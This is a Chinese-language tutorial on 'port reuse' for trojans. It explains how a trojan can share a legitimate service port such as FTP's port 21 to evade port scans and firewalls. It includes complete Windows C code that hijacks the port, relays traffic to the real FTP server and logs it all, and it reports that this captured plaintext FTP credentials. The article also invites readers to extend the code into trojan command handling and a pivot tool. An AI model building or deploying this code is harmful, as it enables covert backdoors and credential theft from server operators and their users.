网络安全编程:端口复用
2021-07-31
来源:计算机与网络安全
木马的服务端与客户端通信必将产生活动端口,产生活动端口就很容易被发现,那么应该如何隐藏端口呢?
1. 端口复用的原理
端口复用就是某个已经被其他服务绑定过的端口再次被绑定而进行重复使用。端口复用对于木马程序来说有两个好处。第一个好处是隐藏端口,比如某台主机上搭建了FTP服务器,这样默认情况下就开启了21号端口,通过端口复用就可以直接使用21号端口完成木马的通信,在进行检测时就不会发现有多余的端口被打开;第二个好处是不会被防火墙阻拦,因为端口复用FTP服务端口或Web服务端口这些已知和合法的端口,这些端口在服务器上是正常使用的端口,那么管理员当然会允许这些正常服务的通信连接。
木马使用端口复用技术后,由于木马和被复用服务使用同一个端口(比如木马复用了FTP的21号端口),当数据包到达时,系统根据指定IP地址较详细的原则就传递给谁。指定IP地址时的代码如下:
sockaddr_in saddr;
saddr.sin_addr.S_un.S_addr = INADDR_ANY;
在代码中对地址的赋值使用了INADDR_ANY,表示任意的本机IP地址都可以。这样指定的地址不是最明确的。通常提供服务的Web服务器或FTP服务器都有类似的设置。那么在编写使用端口复用技术的木马时,就要明确指定用户所使用的一个IP地址。无论用户是拥有内网的IP地址,还是有外网的IP地址,都拥有一个回环地址,即127.0.0.1。在设置重复绑定的端口时,可以设置为除127.0.0.1之外的任意具体IP地址。比如,可以设定一个“10.10.30.77”IP地址。而127.0.0.1这个回环地址是木马与提供服务的服务器软件进行通信的。示意图如图1所示。
图1 端口服务用木马通信示意图
从图1中可以看出,无论是防火墙外部还是防火墙内容,木马都是可以正常通信的。复用了FTP服务器端口的木马会收到所有发给FTP服务器的数据,那么木马在中间充当一个数据中转的作用,把原本发给FTP服务器的数据还是转发给FTP服务器。如何区分是发给FTP服务器的数据,还是发给木马的数据?凡是发给木马的数据都是有固定的数据头部的,以此可以判断哪些数据转发、哪些数据自己进行处理。由于木马所处的通信位置,很容易截取到发送给FTP服务器的数据,也很容易篡改FTP服务器发送给客户端的数据。这点是很可怕、很危险的。同样,如果复用的是Web服务器的端口,那么就可以在不修改Web页面的情况下,直接发送给浏览器一些恶意代码,从而对用户进行攻击。
2. 端口复用的代码实现
下面来看源代码的实现。
#include
#include
#pragma comment (lib, “ws2_32”)
DWORD WINAPI ClientThread(LPVOID lpParam);
int main()
{
WSADATA wsa;
SOCKET s;
BOOL bVal;
SOCKET sc;
int nAddrSize;
sockaddr_in ClientAddr;
// 初始化 SOCK 库
WSAStartup(MAKEWORD(2, 2), &wsa);
// 建立套接字
s = socket(PF_INET, SOCK_STREAM, IPPROTO_TCP);
bVal = TRUE;
// 设置套接字为复用模式
if ( setsockopt(s, SOL_SOCKET, SO_REUSEADDR, (char *)&bVal, sizeof(bVal)) != 0 )
{
printf(“error! \r\n”);
return -1;
}
sockaddr_in sListen;
sListen.sin_family = AF_INET;
// 这里的 IP 地址必须明确指定一个地址
sListen.sin_addr.S_un.S_addr = inet_addr(“192.168.1.102”);
sListen.sin_port = htons(21);
// 绑定 21 号端口
if ( bind(s, (SOCKADDR*)&sListen, sizeof(SOCKADDR)) == SOCKET_ERROR )
{
printf(“%d\r\n”, GetLastError());
printf(“error bind! \r\n”);
return -1;
}
// 监听套接字
listen(s, 1);
// 循环接受来自 FTP 客户端或木马的请求
while ( TRUE )
{
HANDLE hThread;
nAddrSize = sizeof(SOCKADDR);
// 接受请求
sc = accept(s, (SOCKADDR*)&ClientAddr, &nAddrSize);
if ( sc != INVALID_SOCKET )
{
// 创建新线程进行处理
hThread = CreateThread(NULL, 0, ClientThread, (LPVOID)sc, 0, NULL);
CloseHandle(hThread);
}
}
closesocket(s);
WSACleanup();
return 0;
}
DWORD WINAPI ClientThread(LPVOID lpParam)
{
// 保存与 FTP 客户端通信的 SOCKET
SOCKET sc = (SOCKET)lpParam;
// 建立与 FTP 服务器端通信的 SOCKET
SOCKET sFtp;
sockaddr_in saddr;
DWORD dwTimeOut;
DWORD dwNum;
BYTE bBuffer[0x1000] = { 0 };
sFtp = socket(PF_INET, SOCK_STREAM, IPPROTO_TCP);
saddr.sin_family = AF_INET;
saddr.sin_addr.S_un.S_addr = inet_addr(“127.0.0.1”);
saddr.sin_port = htons(21);
// 设置超时
dwTimeOut = 100;
setsockopt(sc, SOL_SOCKET, SO_RCVTIMEO,
(char *)&dwTimeOut, sizeof(dwTimeOut));
setsockopt(sFtp, SOL_SOCKET, SO_RCVTIMEO,
(char *)&dwTimeOut, sizeof(dwTimeOut));
// 连接 FTP 服务器
connect(sFtp, (SOCKADDR*)&saddr, sizeof(SOCKADDR));
// 循环接受客户端与服务器的通信数据
while ( TRUE )
{
// 接收客户端的数据
dwNum = recv(sc, (char *)bBuffer, 0x1000, 0);
if ( dwNum > 0 && dwNum != SOCKET_ERROR )
{
bBuffer[dwNum] = '\0';
printf(“%s \r\n”, bBuffer);
// 转发给 FTP 服务器端
send(sFtp, (char *)bBuffer, dwNum, 0);
}
else if ( dwNum == 0 )
{
break;
}
ZeroMemory(bBuffer, 0x1000);
// 接收 FTP 服务器端的数据
dwNum = recv(sFtp, (char *)bBuffer, 0x1000, 0);
if ( dwNum > 0 && dwNum != SOCKET_ERROR )
{
bBuffer[dwNum] = '\0';
printf(“%s \r\n”, bBuffer);
// 转发给客户端
send(sc, (char *)bBuffer, dwNum, 0);
}
else if ( dwNum == 0 )
{
break;
}
ZeroMemory(bBuffer, 0x1000);
}
closesocket(sc);
closesocket(sFtp);
return 0;
}
这里的代码中只是实现了一个端口复用的转发功能,并没有提供木马的相应功能。如果加入木马的功能,就要在木马收到数据后先判断是控制端发送的木马命令,还是应该转发的数据,从而进行相应的处理。木马在转发数据的过程中获取了FTP数据,如图2所示。
图2 木马转发数据
编译连接自己的代码,然后先启动FTP服务器,再启动连接好的木马,通过命令行下连接FTP服务器。在木马转发的过程中得到了登录FTP服务器的账号和密码(FTP对于账号和密码的传输都是明文进行的)。以此来看,木马在转发数据包的过程中也成了针对某服务的嗅探工具。
如法炮制,通过简单修改上面的代码则可以改成一个跳板程序。具体实现方式与此类似,就不再进行阐述。作为延展性的内容,请大家自行完成。